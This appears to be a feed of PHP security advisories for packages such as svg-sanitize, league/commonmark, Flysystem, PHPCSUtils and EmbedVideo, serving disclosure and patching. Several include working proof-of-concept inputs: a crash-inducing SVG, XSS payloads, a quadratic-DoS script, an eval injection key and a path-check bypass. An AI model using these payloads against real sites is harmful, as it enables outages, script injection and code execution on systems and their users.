    → removeAttribute("badhref")          ← removes explicit attribute (safe)
    → stripos("badhref", "href") = TRUE
    → getAttribute("badhref")             ← returns DTD #FIXED default value
    → isHrefSafeValue("javascript:x")    ← returns FALSE
    → removeAttribute("badhref")          ← hits XML_ATTRIBUTE_DECL → CRASH

Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.

Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.

WordPress Code Path

User uploads SVG → WordPress wp_handle_upload()
  → filter 'wp_handle_upload_prefilter'
  → SafeSvg\safe_svg::check_for_svg()        [safe-svg.php:176]
  → SafeSvg\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]
  → enshrined\Sanitizer::sanitize($contents)   [Sanitizer.php:193]
  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH
  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502

Proof of Concept

Malicious SVG (evil.svg)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
  <rect width="100" height="100" fill="red"/>
</svg>

Standalone reproduction

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134

WordPress reproduction

WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
Login as Author → Media → Add New → upload evil.svg
Result: HTTP 502 Bad Gateway, PHP-FPM worker killed

Confirmed output

$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134

PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)

Impact

Full Site Denial of Service

With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.

Application State Corruption

SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce:

Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons
Stock oversell: stock reduction not committed → multiple orders for 1-stock items
Cron starvation: wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely

Attack surface

Safe SVG hooks wp_handle_upload_prefilter (safe-svg.php line 152). The hook fires when code calls wp_handle_upload() or wp_handle_sideload().

Note: Popular form plugins (Contact Form 7, WPForms) use move_uploaded_file() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wp_handle_upload() is affected.

Scenario	Authentication	Affected installs
WordPress (default Safe SVG) — Media upload	Author role (`upload_files` cap)	1M+
WordPress — REST API `POST /wp/v2/media`	Author role	1M+
WordPress — plugins using `wp_handle_upload()` for public uploads	Varies by plugin	Plugin-dependent
Custom PHP app with svg-sanitize on public endpoint	Often none	45M+ downloads
TYPO3 (svg-sanitize in core since v9)	Backend editor	All TYPO3 v9+

The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.

CVSS

CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)

Suggested Fix

Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:

// In Sanitizer::sanitize(), before loadXML():
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Environment

enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
WordPress 6.9.4 + Safe SVG 2.4.0
PHP 8.3.24 (fpm), NTS, x86_64
nginx + PHP-FPM (Docker)

Reported by ExPatch Security Research — expatch.llc
Denis Rostilov

References

Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execut...

Wed, 07 Oct 2026 18:05:38 GMT

Summary

The MediaBundle blocks dangerous upload extensions with a blacklist that was matched
case-sensitively, while the stored filename was lowercased afterwards. A file uploaded
as webshell.pHp therefore bypassed the blacklist and was written to the web-accessible
upload directory as webshell.php, where the web server executed it. Any authenticated
backend user with access to the media section could obtain remote code execution.

Details

FileHandler::getFilePath() rewrote blacklisted extensions to .txt using a
case-sensitive regex, and only then lowercased the extension when building the stored
name — so the check ran against the attacker-controlled casing and the normalisation
happened after it.

Two further weaknesses contributed:

The default blacklist contained only php and htaccess, leaving other
server-executable extensions (phtml, php5, phar, shtml, cgi, …) unblocked
regardless of casing.
Configured blacklist values were interpolated into the regex unescaped.

Impact

An authenticated user with access to the admin media section can upload a file that the
web server executes as PHP. The uploaded file is reachable over HTTP without
authentication, giving arbitrary code execution as the web server user.

Patches

Fixed in kunstmaan/media-bundle 7.3.2. The extension is now normalised before it is
checked and compared with in_array(); the default blacklist is expanded to the full
set of server-executable extensions; and a new opt-in allowed_extensions option allows
projects to enforce a strict allow-list.

Note that the patch does not rename files already stored on disk. Sites should audit
their media upload directory for existing files with an executable extension.

Workarounds

If you cannot upgrade, configure the web server to refuse to execute scripts in the
media upload directory (for example a location block in nginx or php_flag engine off
in Apache).

References

Filament: Multi-factor authentication (app) management actions do not require password reauthentication

Mon, 05 Oct 2026 23:44:12 GMT

App-based multi-factor authentication management actions did not consistently require the user to confirm their current password. In particular, an authenticated session could set up app-based MFA and obtain recovery codes without password reauthentication. Disabling app-based MFA and regenerating recovery codes also accepted an existing app code or recovery code without requiring the current password. This issue does not affect email-based MFA.

If an attacker gains access to a user's authenticated session, they could enable app-based MFA and obtain recovery codes without knowing the user's password, changing the account's MFA configuration and potentially locking the legitimate user out. This issue does not by itself allow an unauthenticated attacker to sign in.

References

MongoDB: GridFS data disclosure and deletion via query-operator injection in file IDs

Mon, 05 Oct 2026 23:26:58 GMT

Impact

Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB PHP Library can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.

Patches

Fixed in 1.21.5 and 2.4.2.

Workarounds

Validate GridFS IDs.

References

https://jira.mongodb.org/browse/PHPLIB-1929

References

Composer: GHSA-gjfg-22fp-rrxx fix bypass via symlinked package bin path

Fri, 02 Oct 2026 19:14:34 GMT

Summary

A malicious or compromised Composer package could, when installed as a dependency, cause Composer to change the permissions of a file outside that package's own directory and to register a runnable vendor/bin command that points at that outside file. This is a path traversal and link following issue. It is not remote code execution, the attacker gains no ability to read or receive your data directly. The risk is that a file which was readable only by its owner, but modifiable by Composer, can be made world readable and executable, which is enough to expose its contents on a shared or multi tenant host. The earlier hardening from GHSA-gjfg-22fp-rrxx can be bypassed, since it only rejected literal .. path segments in a package's declared binaries, and was only applied in a single place during dependency resolution.

Am I affected?

You can be affected if a malicious or compromised package, including a transitive dependency, is installed in your project, and either of the following is true:

The dependency package ships one of its declared binaries as a symbolic link that resolves to a location outside the package's own directory. Nothing beyond a normal install or update is required.
Or, the recorded metadata of your installed dependencies (vendor/composer/installed.json) declares a binary path that escapes the package's directory. Composer regenerates missing binaries from that recorded metadata at the end of an install, and uses this metadata for reinstalls of the same package. In both of these cases the validation applied during dependency resolution is skipped. This situation is only reachable when your vendor directory is not populated from the same install run, which performs validation. For example a vendor directory restored from a shared or untrusted CI cache, copied in from an earlier container build stage, carried over from a Composer older than 2.10.2 or 2.2.29, or writable by a lower trust build step, could contain such malicious data.

The most realistic way to get hit is a composer install in a build or deploy step that reuses a vendor directory produced elsewhere, since the permission change is applied silently and with the privileges of the user running Composer.

Patched versions

Composer now verifies that each declared binary resolves to a path inside the installing package's own directory before it touches the file, and skips any binary that resolves outside it with a warning. Update to the patched releases (2.10.3 and 2.2.30).

Workarounds

Upgrading is the only complete fix.

References

league/commonmark: DisallowedRawHtml bypassed when a disallowed tag name ends the raw-HTML literal

Wed, 30 Sep 2026 15:36:33 GMT

Summary

The DisallowedRawHtml extension does not escape a disallowed tag when the tag name is the last thing in the raw HTML. A Markdown line containing just <script is emitted unchanged, and the next block can supply its attributes. With the shipped GFM defaults this allows stored XSS by anyone who can post Markdown.

Details

DisallowedRawHtmlRenderer escapes tags with this regex:

/<(\/?(?:title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext)[\s\/>])/i

The trailing character class requires one character after the tag name. The block parser does not: RegexHelper::PARTIAL_HTMLBLOCKOPEN accepts end of line after a tag name, so <script alone opens an HTML block. Because a rendered HtmlBlock has no trailing newline, the regex has nothing to match and the < passes through.

In the browser the newline is still present, so the tag name terminates there and whatever follows becomes attributes.

This is the same filter that GHSA-4v6x-c7xx-hw9f fixed in 2.8.1. That fix widened the character class but still requires one character, so this case was not covered.

Reproduction

Render this with GithubFlavoredMarkdownConverter and default settings:

<div>
<script

<span src="/evil.js">

Output:

<div>
<script
<span src="/evil.js">

A browser parses that as <script src="/evil.js"> with a junk <span attribute, and the script runs. <iframe with <span onload="..."> works the same way and does not need a later </script> in the page.

Control: <script src="/evil.js"></script> is correctly escaped to <script src="/evil.js"></script>.

Affected versions

1.3.0 (when the extension was added) through the current release. The </style and mid-line forms are only affected as continuation lines inside an already-open HTML block.

Preconditions

html_input is allow (the default)
The DisallowedRawHtml extension is active, which the GFM extension enables automatically
Untrusted users can post Markdown

Setting html_input to escape or strip fully mitigates this.

Suggested fix

Allow end of string after the tag name:

$regex = \sprintf('/<(\/?(?:%s))([\s\/>]|$)/i', \implode('|', \array_map('preg_quote', $tags)));

return \preg_replace($regex, '&lt;$1$2', $rendered);

This escapes every bypass shape above and leaves <div>, <scripts> and <span class="a"> untouched. The existing unit test only covers tag names followed by another character, so a case for a bare tag name should be added.

References

league/commonmark: Quadratic-time denial of service in the GitHub Flavored Markdown Table extension block-start scan

Wed, 30 Sep 2026 15:36:13 GMT

Summary

league/commonmark's GitHub Flavored Markdown Table extension registers TableStartParser as a block-start parser. While a paragraph is the active block, the core block parser calls TableStartParser::tryStart() on every non-blank line. Its first action fetches the entire growing paragraph buffer via getParagraphContent() and runs strpos($paragraph, '|') across all of it. For a paragraph of M pipe-free lines, line k rescans about k lines of buffer, so total work is 1+2+...+M, which is O(M^2). An unauthenticated user who submits a single large paragraph of pipe-free lines that do not begin with a letter (see Attack Chain) to any service that converts untrusted Markdown with GithubFlavoredMarkdownConverter (or any environment that enables TableExtension) drives seconds to tens of seconds of single-core CPU that grows quadratically with body size, enough to exhaust worker processes and deny service.

Root Cause

The GFM table detector performs a per-line "quick check" against the whole accumulated paragraph rather than only the portion that could form a table header. A paragraph never closes while non-blank lines keep arriving, so its buffer grows without bound, and the quick check rescans the entire buffer on each line. Only the paragraph's last line can ever be a table header (it is extracted separately via strrpos/substr), so scanning the full multi-line buffer for a pipe on every line is unnecessary work and creates quadratic time complexity. There is no input-size cap and the default nesting limit is not reached, so nothing bounds the scan.

Affected function: League\CommonMark\Extension\Table\TableStartParser::tryStart
Location: src/Extension/Table/TableStartParser.php:35-38
  $paragraph = $parserState->getParagraphContent();       // returns the FULL growing buffer
  if ($paragraph === null || \strpos($paragraph, '|') === false) {
      return BlockStart::none();                           // strpos scans whole buffer each line
  }
Buffer growth: src/Reference/ReferenceParser.php:89-95 ($this->paragraph .= "\n"; $this->paragraph .= $line;)
Per-line dispatch: src/Parser/MarkdownParser.php:135-147 and :224-236

Impact

An unauthenticated, remote attacker with no user interaction can cause denial of service against any application that renders untrusted Markdown with the GitHub Flavored Markdown converter or any configuration that enables the Table extension (the default GFM bundle enables it). A single request carrying a large paragraph of pipe-free, blank-line-free lines that do not begin with a letter consumes CPU proportional to the square of the input size: measured runs show roughly 4x CPU growth per input doubling. A body of a few megabytes ties up a worker for seconds to tens of seconds; repeated or concurrent requests exhaust all available PHP worker processes, denying service to legitimate users. Impact is limited to availability; there is no confidentiality or integrity impact.

Proof of Concept

Requires PHP with league/commonmark 2.x installed. The harness parses pipe-free paragraphs of increasing size with the real MarkdownParser and the real block-start parsers, comparing a GFM-plus-Table configuration against a core-only configuration to isolate the Table parser's contribution.

Install league/commonmark (2.10.1 or any 2.x release).
Convert a single large paragraph of pipe-free, blank-line-free lines that do not begin with a letter, with GithubFlavoredMarkdownConverter.
Measure wall-clock time as the paragraph size doubles.

<?php
require 'vendor/autoload.php';
use League\CommonMark\GithubFlavoredMarkdownConverter;

$converter = new GithubFlavoredMarkdownConverter();
foreach ([25000, 50000, 100000, 200000] as $lines) {
    $md = str_repeat("12345678\n", $lines); // one paragraph, no blank lines, no '|', lines not starting with a letter
    $t = microtime(true);
    $converter->convert($md);
    printf("%7d lines  %6.3fs\n", $lines, microtime(true) - $t);
}

   lines    input    letter-leading    non-letter-leading
                     ("aaaaaaaa")          ("12345678")
   25000   0.23MB        0.27s               0.75s
   50000   0.45MB        0.50s               2.36s
  100000   0.90MB        1.07s               7.70s
  200000   1.80MB        2.26s              27.81s

Letter-leading input scales linearly (doubles per input doubling) because SkipLinesStartingWithLettersParser aborts before the Table parser is reached. Non-letter-leading input quadruples per doubling (0.75, 2.36, 7.70, 27.81), confirming O(M^2) behavior attributable to the Table start parser.

Attack Chain

Exposure: The attacker submits a Markdown body to any endpoint that converts untrusted Markdown with GithubFlavoredMarkdownConverter, or any environment that adds TableExtension. The default GFM bundle registers the Table extension: GithubFlavoredMarkdownExtension adds TableExtension (src/Extension/GithubFlavoredMarkdownExtension.php:30), which registers TableStartParser (src/Extension/Table/TableExtension.php:56).
Control: The attacker fully controls the Markdown body. The exploit input is one paragraph with no blank lines, no | character, and lines that do not begin with a letter (for example str_repeat("12345678\n", 200000)).
Path: MarkdownParser::parseLine() loops over block-start parsers for every non-blank line while a paragraph is active (src/Parser/MarkdownParser.php:135-147). ParagraphParser::tryContinue() keeps the paragraph open for every non-blank line, so the buffer keeps growing (src/Parser/Block/ParagraphParser.php:46-53), appended line by line in ReferenceParser::parse() (src/Reference/ReferenceParser.php:89-95). Since 2.0.2, the highest-priority SkipLinesStartingWithLettersParser returns BlockStart::abort() for any line whose first non-space character is a letter, short-circuiting findBlockStart() before TableStartParser. When lines begin with a non-letter (e.g. a digit), that parser returns none and every remaining core parser returns null, so control reaches TableStartParser on every line (src/Parser/MarkdownParser.php:224-236).
Guard: There is no input-size cap in MarkdownInput, and max_nesting_level defaults to PHP_INT_MAX, which the depth-1 paragraph never approaches. No guard bounds the whole-buffer scan.
Primitive: TableStartParser::tryStart() runs strpos($paragraph, '|') over the entire buffer returned by getParagraphContent() (src/Extension/Table/TableStartParser.php:35-38). With no pipe present, strpos scans to the end of the buffer on every line.
Result: Cumulative scanning work is O(M^2). A single small request drives disproportionate, quadratically growing CPU, exhausting worker processes and denying service.

Bypass Evidence

No prior fix exists for this code path, so this is not an incomplete-fix or regression case; it is a distinct, previously undisclosed quadratic path. The strongest disproof attempts were made and all failed:

Attempt: the observed quadratic is core-parser or PHP string overhead, not the Table parser. Refuted: the only difference between the two measured configurations is TableStartParser; the core-only baseline is linear while the isolated Table contribution quadruples per input doubling.
Attempt: strpos short-circuits or the buffer does not actually grow. Refuted by source trace: ReferenceParser::parse() appends every line unconditionally before its state switch, and for pipe-free text strpos finds no | and scans the full buffer each line.
Attempt: another parser short-circuits before TableStartParser. Partially correct: since 2.0.2 SkipLinesStartingWithLettersParser aborts block-start scanning for lines beginning with a letter, so letter-leading input (including the original aaaaaaaa PoC) never reaches the Table parser and runs in linear time. Input whose lines begin with a non-letter (e.g. a digit) passes every core parser and reaches TableStartParser on every line, exhibiting the quadratic behavior.
Attempt: an input-size or nesting guard neutralizes it. Refuted: there is no size cap and the default nesting limit is never reached.
Attempt: this duplicates an existing quadratic-DoS advisory or was already fixed. Refuted: published quadratic advisories address per-line position translation and other distinct mechanisms in other files; git log on src/Extension/Table/TableStartParser.php shows no security fix ever touched this rescan, and the code is present unchanged in the latest release.

Affected Versions

Ecosystem: composer
Package: league/commonmark
Confirmed affected range: >= 2.0.0, <= 2.10.1
Latest release checked: 2.10.1 (Packagist, repo.packagist.org/p2/league/commonmark.json)
Fix status: not fixed

Note: SkipLinesStartingWithLettersParser was introduced in 2.0.2. On 2.0.0 and 2.0.1 the issue can also be triggered with letter-leading lines. Regardless, the underlying quadratic scan itself is present across the whole >= 2.0.0, <= 2.10.1 range.

The vulnerable rescan is artifact-verified present in tags 2.8.0 and 2.10.1 (the latest published release). The lower bound 2.0.0 is inferred from the 2.x block-parser rewrite that introduced the getParagraphContent()-based architecture this quick check depends on; the checkout contains only tags 2.8.0 through 2.10.1, so the path is not artifact-verified below 2.8.0. No published release removes or bounds the whole-buffer scan.

Suggested Fix

Enforce that the per-line quick check inspects only the paragraph's last line, which is the only line that can form a table header. Compute the last line break with strrpos($paragraph, "\n"), derive the last line, and test strpos($lastLine, '|') instead of scanning the whole buffer. This bounds the per-line check to the length of the last line and removes the quadratic behavior without changing table detection semantics. As an interim mitigation without a code change, operators can cap the size of untrusted Markdown accepted for conversion, or disable the Table extension for untrusted input, which reduces exposure but does not remove the underlying quadratic path.

Reported by zx (GitHub: @manus-pi).

References

Laravel: XSS in Debug Page Information

Tue, 29 Sep 2026 18:24:25 GMT

Impact

When APP_DEBUG=true, attacker-controlled input is passed to a Tippy.js tooltip configured with allowHTML: true, enabling DOM-based XSS during mouse hover.

Patches

#61381

References

Flysystem: WhitespacePathNormalizer's control-character (CorruptedPathDetected) check is bypassed by malformed UTF-8 in the path, affecting every adap...

Tue, 29 Sep 2026 18:10:14 GMT

Related public issue (context, not a duplicate)

Closed issue #1429 ("Handle non-UTF-8 paths", 2024-03-24) raised exactly this general concern and
even suggested detection via preg_match('//u', $path) !== 1 -- note the reporter's suggested check
explicitly compares !== 1, which would correctly treat PCRE's false return as "reject." The
maintainer's reply pointed to the PathNormalizer interface as the place to implement this. The
control-character check that ended up shipping in WhitespacePathNormalizer
(if (preg_match('#\p{C}+#u', $unixPath))) addresses the general concern but does not use the
!== 1-style comparison the original issue suggested -- it uses a bare truthy check, which is exactly
the gap this report demonstrates. So this is not a duplicate of #1429; it's a concrete bypass
surviving in the fix that issue's concern led to.

Vulnerability Details

File: src/WhitespacePathNormalizer.php, lines 22-28 (normalizePath()) -- the default
PathNormalizer used by Filesystem for every adapter (Local, FTP, SFTP, S3, AsyncAwsS3, Azure, GCS,
ZipArchive, GridFS, InMemory) unless the application supplies a custom one.

Root Cause

public function normalizePath(string $path): string
{
    $unixPath = str_replace('\\', '/', $path);

    if (preg_match('#\p{C}+#u', $unixPath)) {
        throw CorruptedPathDetected::forPath($path);
    }
    ...

preg_match() returns false (a PHP engine error) rather than 0 when the subject string is not
valid UTF-8 and the pattern uses the /u modifier -- PCRE can't even attempt the match. false and
0 are both falsy in PHP, and if (preg_match(...)) does not distinguish them. So a path containing
any single invalid UTF-8 byte anywhere in the string makes preg_match() fail with a "Malformed
UTF-8 characters" engine error, the if evaluates false, and CorruptedPathDetected is silently not
thrown -- even when the same string also contains literal control characters this exact check exists
to catch.

the identical payload IS correctly rejected once it's valid UTF-8:

$n->normalizePath("foo\x1bbar");         // valid UTF-8, contains ESC -> throws CorruptedPathDetected (correct)
$n->normalizePath("foo\x80\x1bbar");    // 0x80 = invalid lone UTF-8 continuation byte -> NOT thrown (bypass)

The path-traversal protection is unaffected -- it's exact byte-string comparison on
/-delimited segments, independent of UTF-8 validity:

$n->normalizePath("\x80/../../etc/passwd");   // still throws PathTraversalDetected

Recommended Fix

public function normalizePath(string $path): string
{
    $unixPath = str_replace('\\', '/', $path);
    $matched = preg_match('#\p{C}+#u', $unixPath);

    if ($matched !== 0) {
        // $matched === false means malformed UTF-8 -- must also be treated as corrupted,
        // not silently allowed through.
        throw CorruptedPathDetected::forPath($path);
    }
    ...

Verification

Dynamically confirmed on league/flysystem HEAD 6837e1d / tag 3.35.2, PHP 8.4.22 CLI, end-to-end
through LocalFilesystemAdapter:

[1] write() succeeded -- normalizer did NOT reject the path.
[2] Actual bytes on disk: ...801b5b386d6e6f726d616c2d6c6f6f6b696e672d66696c652e7478741b5b306d...
[3] Filesystem::listContents() path contains raw ESC (0x1b): YES
[4] Raw terminal output (via `cat -v`): M-^@^[[8mnormal-looking-file.txt^[[0m^[[2K^[[1Aurgent-invoice.pdf
### References
- https://github.com/thephpleague/flysystem/security/advisories/GHSA-cxf4-7mrp-vvpr
- https://github.com/thephpleague/flysystem/commit/ef4a9a557d769b5d472c403125716706a0d9cc77
- https://github.com/thephpleague/flysystem/releases/tag/3.35.3
- https://nvd.nist.gov/vuln/detail/CVE-2026-102601

PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

Tue, 29 Sep 2026 17:57:16 GMT

Impact

PHPCSUtils versions 1.0.0-alpha1 through 1.2.2 contain an arbitrary code execution vulnerability in PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey(). The vulnerable method is reached by any sniff that extends AbstractArrayDeclarationSniff and calls getActualArrayKey().

Running PHPCS over untrusted PHP code through such a sniff, for example, in a CI pipeline that lints pull requests, or on a developer machine reviewing third-party code, could lead to arbitrary command execution on the scanning host.

The vulnerability happens when the method determines the value of an array key using eval(). A maliciously crafted array key such as 'system'('id') would be executed when the code was scanned.

Known attack vectors

Known code paths that reach the vulnerable method include the following PHPCSExtra sniffs:

Universal.Arrays.DuplicateArrayKey
Universal.Arrays.MixedArrayKeyTypes

Other packages that call AbstractArrayDeclarationSniff::getActualArrayKey() may also be vulnerable.

Patches

This issue has been fixed in PHPCSUtils 1.2.3. We recommend all users upgrade to 1.2.3 or later.

Workaround

Users who cannot upgrade immediately can disable the sniffs that reach the vulnerable method by adding <exclude> tags to their custom ruleset (replace the placeholder standard and sniff names with the ones used in your setup):

<rule ref="Standard">
<exclude name="Standard.Category.SniffName"/>
</rule>

For example, to disable the two PHPCSExtra sniffs listed under "Known attack vectors":

<rule ref="Universal">
<exclude name="Universal.Arrays.DuplicateArrayKey"/>
<exclude name="Universal.Arrays.MixedArrayKeyTypes"/>
</rule>

To verify that the sniffs have been disabled, run PHPCS with the -e flag, which lists all the sniffs a standard will run. The excluded sniffs should no longer appear in the output:

phpcs -e --standard=/path/to/ruleset.xml

Credits

Many thanks to @rodrigoprimo for responsibly disclosing this vulnerability.

How can I report a security bug?

Please report security vulnerabilities privately via the "Security and quality" tab on the PHPCSUtils repository.

References

FriendsOfFlarum OAuth: Unauthenticated account takeover via unverified email trust in Discord OAuth provider

Fri, 25 Sep 2026 15:55:07 GMT

Impact

An unauthenticated account takeover vulnerability exists in fof/oauth when the Discord OAuth provider is enabled.

Discord allows an account to use an unverified email address when its phone number has been verified. During OAuth authentication, Discord may return that email address with "verified": false.

Affected versions of fof/oauth did not validate this flag and passed the email address to Flarum core as trusted via provideTrustedEmail(). Flarum core could then match the trusted email address to an existing user, link the attacker-controlled Discord identity to that user, and authenticate the attacker as the victim.

An attacker who knows a user's email address can therefore take over the corresponding Flarum account without knowing its password or requiring any interaction from the victim. This includes administrator accounts.

Preconditions for exploitation

Discord sign-in is enabled on the forum.
The victim has a Flarum account with a known email address.
The victim's email address is not already associated with a Discord account.
The attacker creates or configures a Discord account using the victim's email address without verifying it and verifies a phone number instead.
The attacker authenticates to the forum using that Discord account.

The issue is specific to Discord's ability to return an unverified email address through OAuth. Other bundled providers were not confirmed to be practically exploitable through the same method because they only return verified or confirmed email addresses in the relevant authentication flow.

Patched Versions

Workarounds

Administrators who cannot update immediately should disable the Discord OAuth provider in the extension settings.

Credits

Reported by @faran1512

References

Mediawiki EmbedVideo Extension has stored XSS via malformed src url with $wgEmbedVideoRequireConsent disabled

Fri, 25 Sep 2026 15:03:43 GMT

Summary

With $wgEmbedVideoRequireConsent disabled (not the default), the urls for videos are passed into an iframe src attribute without sanitization. When given a malformed url or id, the src attribute can be escaped via double quotes, allowing for html/javascript injection.

Details

The iframe assembled here adds the url from getUrl() as the src without sanitization.
The id regex for the archiveorg service and the url regexes for the wistia and sharepoint services allow for double quotes to be introduced.

PoC

Using double quotes, the src attribute can be escaped.

<embedvideo service="archiveorg" id='a" onmouseover="alert(document.domain)" data-x="'></embedvideo>

Impact

When $wgEmbedVideoRequireConsent = false, any user able to edit a page can inject arbitrary JavaScript into an HTML event handler attribute (e.g. onfocus) via parameter. It requires no interaction (autofires via autofocus) and executes in the wiki origin for every visitor to the page.

References

code16 Sharp vulnerable to stored XSS via iframe srcdoc Attribute

Fri, 25 Sep 2026 15:02:11 GMT

Impact

A Stored Cross-Site Scripting (XSS) vulnerability exists in the rich text editor due to improper sanitization of the srcdoc attribute on <iframe> elements.

While the underlying Symfony HtmlSanitizer correctly HTML-encodes special characters inside the attribute value (e.g., converting <script> to <script>), the HTML specification mandates that browsers automatically decode HTML entities inside attribute values before processing them. As a result, any encoded JavaScript inside a srcdoc attribute is evaluated and executed as live HTML/JS in the context of the iframe when the page is rendered.

An attacker with permissions to edit an Editor field can inject malicious scripts to target other users viewing the content. Potential impacts include:

Session Hijacking (stealing admin session cookies via document.cookie)
Account Takeover & Privilege Escalation (e.g., a low-privileged editor triggering actions as an Administrator)
Admin panel data theft

Patches

The vulnerability has been patched in version v9.22.5.

The fix explicitly removes srcdoc from the list of allowed iframe attributes in src/Utils/Sanitization/FormatsSanitizedValue.php.

Workarounds

Users who cannot upgrade immediately can manually sanitize all content of editor fields to strip srcdoc attributes.